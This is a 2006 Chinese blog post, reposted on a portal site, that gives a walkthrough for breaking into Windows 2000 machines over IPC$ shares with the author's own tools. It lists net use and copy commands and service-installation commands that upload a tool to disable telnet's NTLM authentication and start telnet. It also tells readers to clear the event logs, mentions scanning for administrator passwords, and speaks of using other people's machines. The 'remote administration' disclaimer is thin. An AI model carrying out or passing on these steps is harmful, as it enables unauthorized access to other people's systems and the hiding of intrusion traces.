分享
 
 
 

好早以前的事了,利用IPC$入侵.顺便写一些小工具

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

opentls,修改Telnet的NTLM设置,这样就可以远程登录了

jockey,服务管理,主要是提供服务的一般操作,如添加,删除等等功能.

ps ,进程管理,列出所有的进程,也可以杀掉进程

http,http操作的工具,get以及Header

eventlog,日志操作清除工具

warder,扫描工具,如果忘记密码,可以用这个找回来的,//TODO

这是一些IPC$ 安全工具,给那些远程安装防火墙的糊涂程序员用的.

虽然IPC已经很远的事了,但我是刚刚才知道有IPC$入侵的事情,初学开发嘛.呵呵.

cherub是协助管理工具,之所以要写这个工具是因为我有一次远程安装了防火墙,无奈之下,只好写个工具来干掉防火墙了.

至于扫描密码嘛.呵呵.大家自己去找吧,我现在还没有提供.

基本的思路:

首先目标机器要开户IPC$(本来不想用IPC$的,但WMI SDK 没有耐心下载),一般用扫描工具先得到管理员的密码,而且用telnet登录.所以说,如果能扫描到管理员的密码,呵呵.你已经是一个高手了,基本上不用这个工具的.

Window的telnet服务的默认认证方式是NTLM认证的.所以需要上传一个工具来修改.

于是,应该在对方的机器上开一个共享把文件复制上去,然后再启动这个程序.

因为有些机器只开了IPC$共享,并没有打开文件夹共享,但可以访问到服务管理的,所以....

嘿嘿.只要添加一个命令为"net use share admin=c:\winnt"的服务再运行就可以搞定了(虽然会提示1503的错误,但没有事).因为这个命令已经运行了.

BTW:记得要清除这些日志哦.服务启动错误也会记录的.

这样就可以把opentls上传到目标机器了.当然是用copy了.如果你有其他方法也行.

然后用jockey来添加一个服务,启动,删除.

OK.再用jockey启动telnet服务.

这样就可以用telnet登录了.

然后可以用http工具下载文件(或....测试一些网站的SQL注入... :D ),ps来管理进程(除了system杀不掉,基本上都可以杀掉),log来清除日志

我把基本的方法列出来了.大家好运.

声明一下,如果因为本软件引起的所有相关责任,一概与本软件以及作者无关,我只是希望我下次再遇到远程机器安装防火墙并把密码忘记了而且又不想去坐在机房里的时候,可以轻松的维护.出差是很一件很痛苦的事.

增加共享:

jockey \127.0.0.1 "user" "pwd" /install:"net" /param:"share" /param:"testdir=C:\winnt" /auto

先连到对方的机器

net use \127.0.0.1 "pwd" /user:"user"

把opentls.exe复制到目标机

copy opentls.exe \127.0.0.1testdir

删除刚才建立的共享目录

jockey \127.0.0.1 "user" "pwd" /install:"net" /param:"share" /param:"testdir" /param:"/d" /auto

启动opentls

jockey \127.0.0.1 "user" "pwd" /install:"opentls" /auto

启动telnet

jockey \127.0.0.1 "user" "pwd" /service:"tlntsvr" /start

telnet 127.0.0.1

具体的使用方法请见各程序的帮助.

虽然有些朋友提醒我,如果扫描到密码了,就可以直接用计算机管理->连接远程计算机的方式进行管理.

但我经常是喜欢用telnet->telnet的方式.所以如果在目标机器上想再连第三台机器时,就显得力不从心了.而且用命令行也比较方便.

有些人喜欢用别人的机器.有些人喜欢用代理.我还是喜欢用别人的机器,因为我的上网速度太慢了.-_-#

另外,jockey很好用.特别是可以删除一些错误的service,ps可以干掉apache启动的错误cgi进程(win2000动不动就告诉我:"无法完成操作,拒绝访问",真是很郁闷),http可以得到http头.这些工具对程序员来说还是很方便的. :P

下载的地址去我的个人网站上找:http://unixgod.zj.com

UP.发呆的上帝

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有